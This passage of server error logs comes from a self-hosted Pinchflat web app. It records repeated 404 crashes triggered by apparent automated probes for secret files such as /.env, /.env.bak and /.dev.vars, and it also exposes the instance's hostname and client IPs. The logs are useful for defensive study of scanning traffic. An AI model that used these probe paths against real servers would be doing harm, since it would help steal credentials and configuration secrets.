"en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05ecefcb0d9-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "ugaz5a16b074fhpw.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "172.71.22.138", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3623.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41378}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05ecefcb0d9-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "ugaz5a16b074fhpw.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "172.71.22.138", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3633.0>, params: %{}, (truncated) 02:30:29.241 [error] #PID<0.3634.0> running PinchflatWeb.Endpoint (connection #PID<0.3617.0>, stream id 6) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.dev.vars ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.dev.vars", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05eafd65f9b-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "ebxib020be93qfbl.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "104.22.24.76", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3634.0>, params: %{}, path_info: [".dev"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e05eafd65f9b-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "ebxib020be93qfbl.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0"}, {"x-forwarded-for", "104.22.24.76"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.dev.vars", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBMR19Vm0XTQAAU3B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.dev.vars", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05eafd65f9b-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "ebxib020be93qfbl.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "104.22.24.76", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.dev.vars", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e05eafd65f9b-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "ebxib020be93qfbl.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "104.22.24.76", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body (truncated) 02:30:31.885 [info] HEAD /.env.old 02:30:31.886 [debug] QUERY OK source="settings" db=0.6ms idle=1160.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:31.886 [debug] QUERY OK source="settings" db=0.2ms idle=1161.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:31.886 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:31.886 [error] #PID<0.3635.0> running PinchflatWeb.Endpoint (connection #PID<0.3617.0>, stream id 7) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.env.old ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3635.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.old", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBWIeqE67vlAAAU4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 7, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3635.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, (truncated) 02:30:31.892 [info] HEAD /.env.bak 02:30:31.893 [debug] QUERY OK source="settings" db=0.6ms idle=1167.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:31.893 [debug] QUERY OK source="settings" db=0.3ms idle=1168.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:31.893 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:31.894 [error] #PID<0.3636.0> running PinchflatWeb.Endpoint (connection #PID<0.3617.0>, stream id 8) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.env.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3636.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBWKNxAuoaFoAAU5B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 8, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3636.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.R (truncated) 02:30:32.222 [info] HEAD /.env.production.local 02:30:32.222 [debug] QUERY OK source="settings" db=0.3ms idle=336.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:32.222 [debug] QUERY OK source="settings" db=0.1ms idle=336.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:32.222 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:32.223 [error] #PID<0.3637.0> running PinchflatWeb.Endpoint (connection #PID<0.3617.0>, stream id 9) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.env.production.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env.production (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3617.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production.local", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41372}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 9, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3637.0>, params: %{}, path_info: [".env.production"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua", "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.production.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmBXYy_M2DGfUAAU6B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, 